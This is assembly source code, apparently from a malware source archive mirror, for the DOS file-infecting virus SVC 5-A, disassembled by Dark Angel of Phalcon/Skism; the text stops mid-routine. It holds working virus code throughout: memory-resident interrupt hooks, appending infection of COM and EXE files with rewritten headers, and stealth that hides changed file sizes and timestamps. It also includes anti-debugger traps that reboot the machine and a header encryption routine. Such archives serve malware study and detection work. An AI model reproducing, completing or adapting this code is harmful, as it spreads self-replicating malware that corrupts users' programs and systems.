mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
1378 lines
51 KiB
NASM
1378 lines
51 KiB
NASM
.model tiny
|
|
.code
|
|
; SVC 5-A
|
|
; Disassembly done by Dark Angel of Phalcon/Skism
|
|
; Assemble with Tasm /m SVC5-A
|
|
org 0
|
|
|
|
start:
|
|
call next
|
|
next:
|
|
pop si
|
|
db 83h,0EEh,3 ; sub si,offset next
|
|
mov word ptr cs:[si+offset storeAX],ax
|
|
push es
|
|
push si
|
|
xor dx,dx
|
|
mov ah,84h ; installation check
|
|
int 21h
|
|
pop si
|
|
push si
|
|
cmp dx,1990h
|
|
jne installvirus
|
|
cmp bh,byte ptr cs:[si+versionbyte]
|
|
ja go_exitvirus
|
|
jc installvirus
|
|
push si
|
|
push es
|
|
xchg ah,al ; convert ax to virus
|
|
xor ax,0FFFFh ; CS
|
|
mov es,ax ; es->resident virus
|
|
push cs
|
|
pop ds
|
|
xor di,di
|
|
mov cx,begindata - start - 1; same version?
|
|
cld
|
|
repe cmpsb
|
|
pop es
|
|
pop si
|
|
jz go_exitvirus ; yes, exit
|
|
jmp reboot ; else reboot
|
|
go_exitvirus:
|
|
jmp exitvirus
|
|
installvirus:
|
|
push es
|
|
xor ax,ax
|
|
mov ds,ax
|
|
les ax,dword ptr ds:21h*4 ; save old int 21h
|
|
mov cs:[si+oldint21],ax ; handler
|
|
mov word ptr cs:[si+oldint21+2],es
|
|
les ax,dword ptr ds:8*4 ; save old int 8 handler
|
|
mov cs:[si+oldint8],ax
|
|
mov word ptr cs:[si+oldint8+2],es
|
|
pop es
|
|
mov cs:[si+carrierPSP],es ; save current PSP
|
|
mov ah,49h ; Release memory @ PSP
|
|
int 21h
|
|
jc exitvirus ; exit on error
|
|
|
|
mov ah,48h ; Find total memory size
|
|
mov bx,0FFFFh
|
|
int 21h
|
|
sub bx,(viruslength+15)/16+1; shrink allocation for carrier
|
|
jc exitvirus
|
|
|
|
mov cx,es ; compute new memory
|
|
stc ; block location
|
|
adc cx,bx
|
|
mov ah,4Ah ; Allocate memory for carrier
|
|
int 21h
|
|
|
|
mov bx,(viruslength+15)/16
|
|
stc
|
|
sbb es:[2],bx ; fix high memory field in PSP
|
|
mov es,cx
|
|
mov ah,4Ah ; Allocate memory for virus
|
|
int 21h
|
|
|
|
mov ax,es ; Go to virus MCB
|
|
dec ax
|
|
mov ds,ax
|
|
mov word ptr ds:[1],8 ; mark owner = DOS
|
|
mov ax,cs:[si+carrierPSP] ; go back to carrier PSP
|
|
dec ax ; go to its MCB
|
|
mov ds,ax
|
|
mov byte ptr ds:[0],'Z' ; mark it end of block
|
|
push cs
|
|
pop ds
|
|
xor di,di ; copy virus to high memory
|
|
mov cx,viruslength + 1
|
|
cld
|
|
rep movsb
|
|
xor ax,ax
|
|
mov ds,ax
|
|
cli ; and set up virus
|
|
mov word ptr ds:21h*4,offset int21
|
|
mov word ptr ds:21h*4+2,es ; interrupt handlers
|
|
mov word ptr ds:8*4,offset int8
|
|
mov word ptr ds:8*4+2,es
|
|
exitvirus:
|
|
sti
|
|
push cs
|
|
pop ds
|
|
pop si
|
|
push si
|
|
mov ah,byte ptr cs:[si+offset encryptval1]
|
|
mov dh,byte ptr cs:[si+offset encryptval2]
|
|
add si,offset savebuffer
|
|
call decrypt
|
|
pop si
|
|
pop es
|
|
cld
|
|
cmp cs:[si+offset savebuffer],'ZM'
|
|
je returnEXE
|
|
mov di,100h
|
|
push cs
|
|
pop ds
|
|
push cs
|
|
pop es
|
|
push si
|
|
add si,offset savebuffer
|
|
movsb
|
|
movsw
|
|
pop si
|
|
mov ax,100h
|
|
push ax
|
|
mov ax,word ptr cs:[si+offset storeAX]
|
|
retn
|
|
returnEXE:
|
|
mov bx,es
|
|
add bx,10h
|
|
add bx,cs:[si+savebuffer+16h]
|
|
mov word ptr cs:[si+jmpcs],bx
|
|
mov bx,cs:[si+savebuffer+14h]
|
|
mov word ptr cs:[si+jmpip],bx
|
|
mov bx,es
|
|
mov ds,bx
|
|
add bx,10h
|
|
add bx,cs:[si+savebuffer+0eh]
|
|
cli
|
|
mov ss,bx
|
|
mov sp,cs:[si+savebuffer+10h]
|
|
sti
|
|
mov ax,word ptr cs:[si+offset storeAX]
|
|
db 0EAh ; jmp far ptr
|
|
jmpip dw 0
|
|
jmpcs dw 0
|
|
|
|
int21:
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
push ds
|
|
push es
|
|
mov word ptr cs:int21command,ax
|
|
cmp word ptr cs:int21command,4B03h ; load/no PSP
|
|
je _load_noexecute
|
|
cmp word ptr cs:int21command,4B01h ; load/no execute
|
|
je _load_noexecute
|
|
cmp word ptr cs:int21command,4B00h ; load/execute
|
|
je _load_execute
|
|
cmp ah,3Dh ; handle open
|
|
je _handleopen
|
|
cmp ah,3Eh ; handle close
|
|
je _handleclose
|
|
cmp ah,40h ; handle write
|
|
je _handlewrite
|
|
cmp ah,4Ch ; terminate
|
|
je _terminate
|
|
jmp short exitint21
|
|
nop
|
|
_terminate:
|
|
jmp terminate
|
|
_handlewrite:
|
|
jmp handlewrite
|
|
_load_noexecute:
|
|
jmp load_noexecute
|
|
_handleclose:
|
|
jmp handleclose
|
|
_handlecreate:
|
|
jmp handlecreate
|
|
_load_execute:
|
|
jmp load_execute
|
|
_handleopen:
|
|
jmp handleopen
|
|
_FCBfindfirstnext:
|
|
jmp FCBfindfirstnext
|
|
_ASCIIfindfirstnext:
|
|
jmp ASCIIfindfirstnext
|
|
_handlegoEOF:
|
|
jmp handlegoEOF
|
|
_handleopen2:
|
|
jmp handleopen2
|
|
_handleread:
|
|
jmp handleread
|
|
_getsetfiletime:
|
|
jmp getsetfiletime
|
|
|
|
return:
|
|
retn
|
|
|
|
load_execute_exit:
|
|
call restoreint24and23
|
|
jmp short exitint21
|
|
nop
|
|
|
|
restoreint24and23:
|
|
xor ax,ax
|
|
mov ds,ax
|
|
mov ax,cs:oldint24
|
|
mov ds:24h*4,ax
|
|
mov ax,cs:oldint24+2
|
|
mov word ptr ds:24h*4+2,ax
|
|
mov ax,cs:oldint23
|
|
mov ds:23h*4,ax
|
|
mov ax,cs:oldint23+2
|
|
mov word ptr ds:23h*4+2,ax
|
|
retn
|
|
|
|
exitint21:
|
|
pop es
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
cmp ah,3Ch ; handlecreate
|
|
je _handlecreate
|
|
cmp ah,83h ; installation check for
|
|
je old_installation_check ; other versions of SVC
|
|
cmp ah,84h ; installation check for
|
|
je installation_check ; this version of SVC
|
|
cmp ah,4Eh ; find first?
|
|
je _ASCIIfindfirstnext
|
|
cmp ah,4Fh ; find next?
|
|
je _ASCIIfindfirstnext
|
|
cmp ah,11h ; find first
|
|
je _FCBfindfirstnext
|
|
cmp ah,12h ; find next
|
|
je _FCBfindfirstnext
|
|
cmp ax,4202h ; go EOF
|
|
je _handlegoEOF
|
|
cmp ah,3Dh ; handle open
|
|
je _handleopen2
|
|
cmp ah,3Fh ; handle read
|
|
je _handleread
|
|
cmp ah,57h ; get/set file time
|
|
je _getsetfiletime
|
|
popf ; chain to original int
|
|
jmp dword ptr cs:oldint21 ; 21h handler
|
|
|
|
callint21:
|
|
cli
|
|
pushf
|
|
call dword ptr cs:oldint21
|
|
retn
|
|
|
|
installation_check:
|
|
popf
|
|
mov bh,cs:versionbyte
|
|
mov ax,cs
|
|
xor ax,0FFFFh
|
|
xchg ah,al
|
|
common_installation_check_return:
|
|
mov dx,1990h
|
|
iret
|
|
|
|
old_installation_check:
|
|
popf
|
|
jmp short common_installation_check_return
|
|
|
|
popdsdx_return:
|
|
pop dx
|
|
pop ds
|
|
jmp return
|
|
|
|
load_execute:
|
|
call check_chkdsk
|
|
call infectdsdx
|
|
jmp load_execute_exit
|
|
|
|
infectdsdx:
|
|
call setint24and23
|
|
jmp short infectdsdx_continue
|
|
nop
|
|
|
|
setint24and23:
|
|
xor ax,ax
|
|
mov es,ax
|
|
les ax,dword ptr es:24h*4
|
|
mov cs:oldint24,ax
|
|
mov cs:oldint24+2,es
|
|
xor ax,ax
|
|
mov es,ax
|
|
les ax,dword ptr es:23h*4
|
|
mov cs:oldint23,ax
|
|
mov cs:oldint23+2,es
|
|
xor ax,ax
|
|
mov es,ax
|
|
mov word ptr es:24h*4,offset int24
|
|
mov word ptr es:24h*4+2,cs
|
|
mov word ptr es:23h*4,offset int23
|
|
mov word ptr es:23h*4+2,cs
|
|
retn
|
|
|
|
infectdsdx_continue:
|
|
push ds
|
|
push dx
|
|
cmp byte ptr cs:tickcount,3Ch ; don't infect too early
|
|
jb popdsdx_return ; after previous one
|
|
mov ax,4300h ; get file attributes
|
|
call callint21
|
|
jc popdsdx_return
|
|
mov cs:fileattr,cx
|
|
and cl,0FEh ; turn off r/o bit
|
|
mov ax,4301h ; and reset file attributes
|
|
call callint21
|
|
jc popdsdx_return
|
|
mov cx,cs:fileattr
|
|
and cl,4 ; test cl,4
|
|
cmp cl,4 ; check system attribute
|
|
je infecthandle_exit ; exit if set
|
|
mov ax,3D02h ; open file read/write
|
|
call callint21
|
|
jc infecthandle_exit
|
|
mov bx,ax ; handle to bx
|
|
push dx ; save file name pointer
|
|
mov ax,5700h ; get file time/date
|
|
call callint21
|
|
pop dx
|
|
and cx,1Eh ; check if seconds = 60
|
|
cmp cx,1Eh ; (infection marker)
|
|
jne infect_dsdx_checkmo ; continue if not so marked
|
|
jmp short infecthandle_alreadyinfected
|
|
nop
|
|
infect_dsdx_checkmo:
|
|
call check_command_com
|
|
jnc infecthandle
|
|
jmp short infecthandle_alreadyinfected
|
|
nop
|
|
|
|
check_command_com:
|
|
cld
|
|
mov si,dx
|
|
check_command_com_loop:
|
|
lodsw
|
|
cmp ax,'MM' ; COMMAND.COM?
|
|
je check_command_com_yes
|
|
cmp ax,'mm'
|
|
je check_command_com_yes
|
|
cmp ax,'MB' ; IBMBIO/IBMDOS?
|
|
je check_command_com_yes
|
|
cmp ax,'mb'
|
|
je check_command_com_yes
|
|
cmp ah,0
|
|
je check_command_com_no
|
|
dec si
|
|
jmp short check_command_com_loop
|
|
check_command_com_yes:
|
|
stc
|
|
retn
|
|
check_command_com_no:
|
|
clc
|
|
retn
|
|
|
|
infecthandle_exit:
|
|
jmp popdsdx_return
|
|
infecthandle:
|
|
cmp bx,5 ; check if handle too
|
|
jb infecthandle_exit ; small (predefined)
|
|
call checkifinfected
|
|
jnc infecthandle_alreadyinfected
|
|
call infect_handle
|
|
infecthandle_alreadyinfected:
|
|
mov ah,3Eh ; Close file
|
|
call callint21
|
|
pop dx
|
|
pop ds
|
|
jc infecthandle_exit2
|
|
mov ax,4301h ; restore file attributes
|
|
mov cx,cs:fileattr
|
|
call callint21
|
|
infecthandle_exit2:
|
|
jmp return
|
|
|
|
infect_handle_exit:
|
|
jmp infect_handle_error
|
|
infect_handle:
|
|
mov ax,5700h ; get file time/date
|
|
call callint21
|
|
mov cs:filetime,cx
|
|
mov cs:filedate,dx
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h ; go to start of file
|
|
call callint21
|
|
push cs
|
|
pop ds
|
|
mov cx,18h ; read header
|
|
mov dx,offset savebuffer
|
|
mov ah,3Fh
|
|
call callint21
|
|
jc infect_handle_exit
|
|
push cs
|
|
pop es
|
|
push cs
|
|
pop ds
|
|
mov si,offset savebuffer ; copy to work buffer
|
|
mov di,offset workbuffer
|
|
mov cx,18h
|
|
cld
|
|
rep movsb
|
|
mov ax,2C00h
|
|
call callint21
|
|
mov byte ptr cs:encryptval2,dh
|
|
mov byte ptr cs:encryptval1,dl
|
|
mov ah,dl
|
|
mov si,offset savebuffer
|
|
call decrypt
|
|
cmp cs:workbuffer,'ZM' ; check if EXE
|
|
je infect_handle_EXE
|
|
mov cs:workbuffer,0E9h ; encode the jmp
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h ; get file size
|
|
call callint21
|
|
cmp dx,0
|
|
jne infect_handle_exit
|
|
cmp ax,viruslength
|
|
jb infect_handle_exit
|
|
cmp ax,0EDE1h ; check if too large
|
|
jae infect_handle_exit
|
|
sub ax,3 ; adjust size to jmp location
|
|
mov word ptr cs:workbuffer+1,ax
|
|
call writevirusandheader ; write virus to file
|
|
jmp infect_handle_finish
|
|
|
|
writevirusandheader:
|
|
push cs
|
|
pop ds
|
|
xor dx,dx
|
|
mov cx,viruslength
|
|
mov ah,40h ; concatenate virus
|
|
call callint21
|
|
jc writevirusandheader_exit
|
|
cmp ax,viruslength
|
|
jne writevirusandheader_exit
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h ; go to start of file
|
|
call callint21
|
|
jc writevirusandheader_exit
|
|
mov dx,offset workbuffer ; write new header to file
|
|
mov ah,40h
|
|
mov cx,18h
|
|
call callint21
|
|
retn
|
|
writevirusandheader_exit:
|
|
stc
|
|
retn
|
|
|
|
infect_handle_EXE:
|
|
xor cx,cx ; go to end of file
|
|
xor dx,dx
|
|
mov ax,4202h
|
|
call callint21
|
|
push dx ; save file size
|
|
push ax
|
|
mov si,ax
|
|
xor ax,ax
|
|
xchg ax,dx
|
|
mov di,1000h
|
|
mul di
|
|
mov dx,ax
|
|
mov ax,si
|
|
mov si,dx
|
|
xor dx,dx
|
|
mov di,10h ; convert to paragraphs
|
|
div di
|
|
add ax,si
|
|
xchg ax,dx
|
|
sub dx,cs:workbuffer+8 ; subtract header size
|
|
mov word ptr cs:workbuffer+16h,dx ; insert new initial
|
|
mov word ptr cs:workbuffer+14h,ax ; CS:IP (end of file)
|
|
pop ax
|
|
pop dx
|
|
add ax,viruslength ; calculate new image
|
|
adc dx,0 ; size mod 512 and div 512
|
|
mov di,200h
|
|
div di
|
|
cmp dx,0
|
|
je infect_handle_EXE_nofixup
|
|
add ax,1 ; pagelength fixup
|
|
infect_handle_EXE_nofixup:
|
|
mov cs:workbuffer+4,ax
|
|
mov cs:workbuffer+2,dx
|
|
mov ds,word ptr cs:workbuffer+16h ; insert new SS:SP
|
|
mov word ptr cs:workbuffer+0Eh,ds
|
|
mov ax,word ptr cs:workbuffer+14h
|
|
add ax,17D7h
|
|
mov word ptr cs:workbuffer+10h,ax
|
|
call writevirusandheader ; write virus to file
|
|
jmp short infect_handle_finish
|
|
nop
|
|
infect_handle_error:
|
|
stc
|
|
infect_handle_finish:
|
|
mov ax,5701h ; restore file time/date
|
|
mov cx,cs:filetime
|
|
mov dx,cs:filedate
|
|
jc infect_handle_noreset
|
|
and cx,0FFFEh ; but set seconds to
|
|
or cx,1Eh ; 60
|
|
mov byte ptr cs:tickcount,0 ; reset tickcount
|
|
infect_handle_noreset:
|
|
call callint21
|
|
retn
|
|
|
|
int23:
|
|
iret
|
|
int24:
|
|
mov al,3
|
|
iret
|
|
|
|
load_noexecute_exit:
|
|
jmp load_noexecute_closeexit
|
|
load_noexecute:
|
|
call setint24and23
|
|
push ds
|
|
push dx
|
|
mov ax,4300h ; get file attributes
|
|
call callint21
|
|
jc load_noexecute_exit
|
|
mov cs:fileattr,cx
|
|
and cl,0FEh ; turn off r/o bit
|
|
mov ax,4301h ; reset attributes
|
|
call callint21
|
|
jc load_noexecute_exit
|
|
mov ax,3D02h ; open file read/write
|
|
call callint21
|
|
jc load_noexecute_exit
|
|
mov bx,ax ; handle to bx
|
|
call checkifinfected
|
|
jc load_noexecute_exit
|
|
jmp short load_noexecute_disinfect
|
|
nop
|
|
checkifinfected_exit:
|
|
stc ; mark infected
|
|
retn ; and exit
|
|
|
|
checkifinfected:
|
|
mov ax,5700h ; get file time/date
|
|
call callint21
|
|
mov cs:filedate,dx
|
|
mov cs:filetime,cx
|
|
and cx,1Fh
|
|
cmp cx,1Eh
|
|
jne checkifinfected_exit
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h ; go to end of file
|
|
call callint21
|
|
jc checkifinfected_exit
|
|
mov cs:filesizelo,ax ; save filesize
|
|
mov cs:filesizehi,dx
|
|
sub ax,endvirus - infection_marker
|
|
sbb dx,0
|
|
mov cx,ax
|
|
xchg cx,dx
|
|
mov ax,4200h ; rewind to infection
|
|
call callint21 ; marker
|
|
jc checkifinfected_exit
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh ; read file
|
|
mov cx,3
|
|
mov dx,offset savebuffer
|
|
call callint21
|
|
jc checkifinfected_exit
|
|
push cs
|
|
pop es
|
|
mov si,offset savebuffer ; check for infection
|
|
mov di,offset infection_marker
|
|
mov cx,3 ; marker
|
|
repne cmpsb
|
|
jnz checkifinfected_exit
|
|
clc ; mark not infected
|
|
retn ; and exit
|
|
|
|
load_noexecute_disinfect:
|
|
call disinfect
|
|
jmp load_noexecute_closeexit
|
|
|
|
disinfect_exit:
|
|
jmp disinfect_error
|
|
disinfect:
|
|
mov dx,cs:filesizelo
|
|
mov cx,cs:filesizehi
|
|
sub dx,75h ; go to savebuffer
|
|
nop
|
|
sbb cx,0
|
|
mov ax,4200h
|
|
call callint21
|
|
jc disinfect_exit
|
|
jmp short disinfect_file
|
|
nop
|
|
|
|
jmp load_noexecute_closeexit
|
|
disinfect_file:
|
|
push cs
|
|
pop ds
|
|
mov ah,3Fh ; Read carrier's
|
|
mov cx,18h ; original header
|
|
mov dx,offset savebuffer
|
|
push cs
|
|
pop ds
|
|
call callint21
|
|
jc disinfect_exit
|
|
mov dx,cs:filesizelo ; go to decryption
|
|
mov cx,cs:filesizehi ; values
|
|
sub dx,endvirus - encryptval1
|
|
nop
|
|
sbb cx,0
|
|
mov ax,4200h
|
|
call callint21
|
|
mov dx,offset encryptval1
|
|
mov ah,3Fh ; read decryption values
|
|
mov cx,2
|
|
call callint21
|
|
mov si,offset savebuffer
|
|
mov ah,byte ptr cs:encryptval1
|
|
mov dh,byte ptr cs:encryptval2
|
|
call decrypt ; decrypt old header
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h
|
|
call callint21
|
|
jc disinfect_error
|
|
mov ah,40h ; Write old header to
|
|
mov cx,18h ; file
|
|
mov dx,offset savebuffer
|
|
call callint21
|
|
jc disinfect_error
|
|
mov dx,cs:filesizelo
|
|
mov cx,cs:filesizehi
|
|
sub dx,viruslength
|
|
sbb cx,0 ; go to end of carrier
|
|
mov ax,4200h ; file and
|
|
call callint21
|
|
jc disinfect_error
|
|
mov ah,40h ; truncate file
|
|
xor cx,cx ; at current position
|
|
call callint21
|
|
jc disinfect_error
|
|
mov ax,5701h ; restore file time/date
|
|
mov dx,cs:filedate
|
|
mov cx,cs:filetime
|
|
xor cx,1Fh
|
|
call callint21
|
|
retn
|
|
disinfect_error:
|
|
stc ; mark error
|
|
retn
|
|
|
|
load_noexecute_closeexit:
|
|
mov ah,3Eh ; Close file and
|
|
call callint21
|
|
mov ax,4301h ; restore attributes
|
|
mov cx,offset fileattr ; BUG!!!
|
|
pop dx
|
|
pop ds
|
|
call callint21
|
|
call restoreint24and23
|
|
jmp exitint21
|
|
|
|
FCBfindfirstnext:
|
|
call dword ptr cs:oldint21 ; prechain
|
|
pushf
|
|
pop cs:returnFlags
|
|
cmp al,0FFh
|
|
je FCBfindfirstnext_exit
|
|
cmp cs:chkdskflag,0
|
|
jne FCBfindfirstnext_exit
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push es
|
|
push ds
|
|
mov ah,2Fh ; Get DTA
|
|
call callint21
|
|
cmp word ptr es:[bx],0FFh ; extended FCB?
|
|
jne FCBfindfirstnext_noextendedFCB
|
|
add bx,8 ; convert if so
|
|
FCBfindfirstnext_noextendedFCB:
|
|
mov ax,es:[bx+16h]
|
|
and ax,1Fh ; check if seconds = 60
|
|
cmp ax,1Eh
|
|
jne FCBfindfirstnext_notinfected
|
|
xor word ptr es:[bx+16h],1Fh; fix seconds field
|
|
sub word ptr es:[bx+1Ch],viruslength
|
|
sbb word ptr es:[bx+1Eh],0 ; shrink size
|
|
FCBfindfirstnext_notinfected:
|
|
pop ds
|
|
pop es
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
FCBfindfirstnext_exit:
|
|
pop cs:storesIP
|
|
pop cs:storesCS
|
|
popf
|
|
push cs:returnFlags
|
|
push cs:storesCS
|
|
push cs:storesIP
|
|
iret
|
|
|
|
ASCIIfindfirstnext:
|
|
call dword ptr cs:oldint21 ; prechain
|
|
pushf
|
|
pop cs:returnFlags
|
|
jc ASCIIfindfirstnext_exit
|
|
cmp cs:chkdskflag,0
|
|
jne ASCIIfindfirstnext_exit
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push es
|
|
push ds
|
|
mov ah,2Fh ; Get DTA
|
|
call callint21
|
|
mov ax,es:[bx+16h] ; get file time
|
|
and ax,1Fh ; to check if file
|
|
cmp ax,1Eh ; infected
|
|
jne ASCIIfindfirstnext_notinfected
|
|
xor word ptr es:[bx+16h],1Fh ; hide time change
|
|
sub word ptr es:[bx+1Ah],viruslength; and file length
|
|
sbb word ptr es:[bx+1Ch],0 ; change
|
|
ASCIIfindfirstnext_notinfected:
|
|
pop ds
|
|
pop es
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ASCIIfindfirstnext_exit:
|
|
pop cs:storesIP
|
|
pop cs:storesCS
|
|
popf
|
|
push cs:returnFlags
|
|
push cs:storesCS
|
|
push cs:storesIP
|
|
iret
|
|
handleopen:
|
|
call check_infectok
|
|
jnc handleopen_continue
|
|
jmp exitint21
|
|
|
|
check_infectok:
|
|
cld
|
|
mov si,dx
|
|
lodsw
|
|
cmp ah,':'
|
|
jne check_infectok_nodrive
|
|
cmp al,'a' ; make sure not floppy
|
|
je check_infectok_exit
|
|
cmp al,'A'
|
|
je check_infectok_exit
|
|
cmp al,'B'
|
|
jb check_infectok_exit ; BUG
|
|
cmp al,'b'
|
|
je check_infectok_exit
|
|
jmp short check_extension
|
|
nop
|
|
check_infectok_exit:
|
|
jmp short check_extension_notok
|
|
nop
|
|
check_infectok_nodrive:
|
|
mov ah,19h ; get default drive
|
|
call callint21
|
|
cmp al,2 ; make sure not floppy
|
|
jae check_extension
|
|
jmp short check_extension_notok
|
|
db 90h
|
|
|
|
check_extension:
|
|
cld
|
|
mov si,dx
|
|
check_extension_findextension:
|
|
lodsb
|
|
cmp al,'.'
|
|
je check_extension_foundextension
|
|
cmp al,0
|
|
jne check_extension_findextension
|
|
jmp short check_extension_notok
|
|
db 90h
|
|
check_extension_foundextension:
|
|
lodsw
|
|
cmp ax,'OC'
|
|
je check_extension_checkcom
|
|
cmp ax,'oc'
|
|
je check_extension_checkcom
|
|
cmp ax,'XE'
|
|
je check_extension_checkexe
|
|
cmp ax,'xe'
|
|
je check_extension_checkexe
|
|
jmp short check_extension_notok
|
|
db 90h
|
|
check_extension_checkcom:
|
|
lodsb
|
|
cmp al,'M'
|
|
je check_extension_ok
|
|
cmp al,'m'
|
|
je check_extension_ok
|
|
jmp short check_extension_notok
|
|
db 90h
|
|
check_extension_checkexe:
|
|
lodsb
|
|
cmp al,'E'
|
|
je check_extension_ok
|
|
cmp al,'e'
|
|
je check_extension_ok
|
|
jmp short check_extension_notok
|
|
db 90h
|
|
check_extension_ok:
|
|
clc
|
|
retn
|
|
check_extension_notok:
|
|
stc
|
|
retn
|
|
|
|
handleopen_continue:
|
|
call infectdsdx
|
|
call restoreint24and23
|
|
jmp exitint21
|
|
handlecreate:
|
|
mov word ptr cs:storess,ss ; preserve ss and sp
|
|
mov word ptr cs:storesp,sp
|
|
call dword ptr cs:oldint21
|
|
cli
|
|
mov ss,word ptr cs:storess
|
|
mov sp,word ptr cs:storesp
|
|
sti
|
|
pop cs:returnFlags ; save return flags
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push ds
|
|
push es
|
|
push si
|
|
push di
|
|
jc handlecreate_exit
|
|
push dx
|
|
push ax
|
|
call check_extension
|
|
pop ax
|
|
pop dx
|
|
jc handlecreate_exit
|
|
push ax
|
|
call check_command_com
|
|
pop ax
|
|
jc handlecreate_exit
|
|
mov cs:handletoinfect,ax ; save handle to infect
|
|
; upon close
|
|
handlecreate_exit:
|
|
pop di
|
|
pop si
|
|
pop es
|
|
pop ds
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
jmp exit_replaceflags
|
|
handleclose_exit:
|
|
mov cs:filehand,0
|
|
jmp exitint21
|
|
|
|
handleclose:
|
|
cmp bx,0
|
|
jne handleclose_continue
|
|
jmp exitint21
|
|
handleclose_continue:
|
|
cmp bx,cs:handletoinfect
|
|
je handleclose_infect
|
|
cmp bx,cs:filehand
|
|
je handleclose_exit
|
|
jmp exitint21
|
|
handleclose_infect:
|
|
mov ah,45h ; Duplicate file handle
|
|
call callint21
|
|
jc handleclose_infect_exit
|
|
xchg ax,bx
|
|
call setint24and23
|
|
call handleclose_infecthandle
|
|
call restoreint24and23
|
|
handleclose_infect_exit:
|
|
mov cs:handletoinfect,0
|
|
jmp exitint21
|
|
|
|
handleclose_infecthandle:
|
|
push ds
|
|
push dx
|
|
jmp infecthandle
|
|
|
|
int8:
|
|
push ax
|
|
push ds
|
|
pushf
|
|
cmp byte ptr cs:tickcount,0FFh ; don't "flip" tickcount
|
|
je int8checkint1
|
|
inc cs:tickcount ; one mo tick
|
|
int8checkint1:
|
|
xor ax,ax
|
|
mov ds,ax
|
|
cmp word ptr ds:1*4,offset int1 ; int 1 changed?
|
|
jne int8setint1 ; fix it if so
|
|
mov ax,cs
|
|
cmp word ptr ds:1*4+2,ax
|
|
jne int8setint1
|
|
int8checkint3:
|
|
cmp word ptr ds:3*4,offset int3 ; int 3 changed?
|
|
jne int8setint3 ; fix it if so
|
|
mov ax,cs
|
|
cmp word ptr ds:3*4+2,ax
|
|
jne int8setint3
|
|
exitint8:
|
|
popf
|
|
pop ds
|
|
pop ax
|
|
jmp dword ptr cs:oldint8
|
|
|
|
int8setint1:
|
|
push es
|
|
les ax,dword ptr ds:1*4
|
|
mov cs:oldint1,ax
|
|
mov word ptr cs:oldint1+2,es
|
|
mov word ptr ds:1*4,offset int1
|
|
mov word ptr ds:1*4+2,cs
|
|
pop es
|
|
jmp short int8checkint3
|
|
int8setint3:
|
|
push es
|
|
les ax,dword ptr ds:3*4
|
|
mov cs:oldint3,ax
|
|
mov word ptr cs:oldint3+2,es
|
|
mov word ptr ds:3*4,offset int3
|
|
mov word ptr ds:3*4+2,cs
|
|
pop es
|
|
jmp short exitint8
|
|
|
|
int3: ; reboot if debugger
|
|
push bp ; is active
|
|
push ax
|
|
mov bp,sp
|
|
add bp,6
|
|
mov bp,[bp]
|
|
mov ax,cs
|
|
cmp bp,ax
|
|
pop ax
|
|
pop bp
|
|
jz reboot
|
|
jmp dword ptr cs:oldint3
|
|
|
|
exitint1:
|
|
iret
|
|
|
|
int1:
|
|
push bp ; this routine doesn't
|
|
push ax ; do very much that's
|
|
mov bp,sp ; meaningful
|
|
add bp,6
|
|
mov bp,[bp]
|
|
mov ax,cs
|
|
cmp bp,ax
|
|
pop ax
|
|
pop bp
|
|
jz exitint1
|
|
jmp dword ptr cs:oldint1
|
|
reboot:
|
|
db 0EAh ; jmp F000:FFF0
|
|
db 0F0h, 0FFh, 0, 0F0h ; (reboot)
|
|
|
|
decrypt:
|
|
push bx
|
|
push es
|
|
call decrypt_next
|
|
decrypt_next:
|
|
pop bx
|
|
mov byte ptr cs:[bx+16h],32h ; inc sp -> xor al,ah
|
|
nop
|
|
mov byte ptr cs:[bx+19h],2 ; add dh,ah -> add ah,dh
|
|
nop
|
|
push ds
|
|
pop es
|
|
mov di,si
|
|
mov cx,18h
|
|
cld
|
|
decrypt_loop:
|
|
lodsb
|
|
db 0FFh, 0C4h ; inc sp
|
|
stosb
|
|
db 0, 0E6h ; add dh,ah
|
|
loop decrypt_loop
|
|
|
|
mov byte ptr cs:[bx+16h],0FFh ; change back to inc sp
|
|
mov byte ptr cs:[bx+19h],0 ; and add dh,ah -- why?
|
|
pop es
|
|
pop bx
|
|
retn
|
|
|
|
handlegoEOF:
|
|
popf
|
|
cmp cs:filehand,bx ; currently working on this?
|
|
jne handlegoEOFexit
|
|
mov cs:tempstoreDX,dx ; save offset from EOF
|
|
mov cs:tempstoreCX,cx
|
|
xor cx,cx
|
|
xor dx,dx
|
|
call callint21 ; go to EOF
|
|
sub ax,viruslength ; shrink to carrier size
|
|
sbb dx,0
|
|
mov cx,ax
|
|
xchg cx,dx
|
|
add dx,cs:tempstoreDX ; add offset from carrier
|
|
adc cx,cs:tempstoreCX ; EOF
|
|
mov ax,4200h ; and do it
|
|
handlegoEOFexit:
|
|
jmp dword ptr cs:oldint21
|
|
|
|
handleopen2:
|
|
call dword ptr cs:oldint21
|
|
pushf
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push di
|
|
push si
|
|
push ds
|
|
push es
|
|
jc handleopen2_exit
|
|
cmp cs:filehand,0
|
|
jne handleopen2_exit
|
|
push ax
|
|
mov bx,ax
|
|
call checkifinfected
|
|
pop ax
|
|
jc handleopen2_alreadyinfected
|
|
mov cs:filehand,ax ; save file handle for
|
|
mov bx,ax ; later use
|
|
mov ax,4202h ; go to end of file
|
|
xor cx,cx ; to find file size
|
|
xor dx,dx
|
|
call callint21
|
|
sub ax,viruslength ; calculate carrier
|
|
sbb dx,0 ; size and store it
|
|
mov cs:carrierEOFhi,dx
|
|
mov cs:carrierEOFlo,ax
|
|
handleopen2_alreadyinfected:
|
|
xor cx,cx ; go to start of file
|
|
xor dx,dx
|
|
mov ax,4200h
|
|
call callint21
|
|
handleopen2_exit:
|
|
pop es
|
|
pop ds
|
|
